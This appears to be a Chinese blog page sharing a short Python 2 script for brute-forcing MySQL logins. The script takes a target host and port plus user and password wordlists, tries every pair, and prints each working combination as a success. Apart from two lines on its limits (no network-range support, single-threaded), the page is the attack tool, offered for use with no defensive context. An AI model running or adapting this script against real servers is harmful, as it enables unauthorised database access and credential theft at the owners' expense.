发布时间:2019-09-15 10:03:51编辑:auto阅读(1993)
缺点:
不支持网段
单线程
# -*- coding: utf_8 -*- # Date: 2015/5/13 # author:sanr import MySQLdb import os import sys def README(): print '+' + '-' * 50 + '+' print '\t Python MySQL爆破' print '\t author : sanr' print '\t Time:2015-5-13' print '\t mysql默认字典在程序目录mysql目录' print '+' + '-' * 50 + '+' if len(sys.argv) != 5: print os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 user.txt pass.txt" sys.exit() def mysql_brute(name,pwd): db = None try: db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db='mysql',port=int(sys.argv[2])) print '破解成功: %s %s'% (name,pwd) except: pass finally : if db: db.close() if __name__ == '__main__': README() userlist = [i.rstrip() for i in open('mysql/'+sys.argv[3])] passlist = [j.rstrip() for j in open('mysql/'+sys.argv[4])] for name in userlist: for pwd in passlist: mysql_brute(name,pwd)
上一篇: Python 编码转换与中文处理
下一篇: python 生成条形码
50973
50356
40971
37839
32303
29194
28080
22910
22873
21205
1074°
1750°
1433°
1368°
1638°
1454°
2113°
3660°
3590°
2529°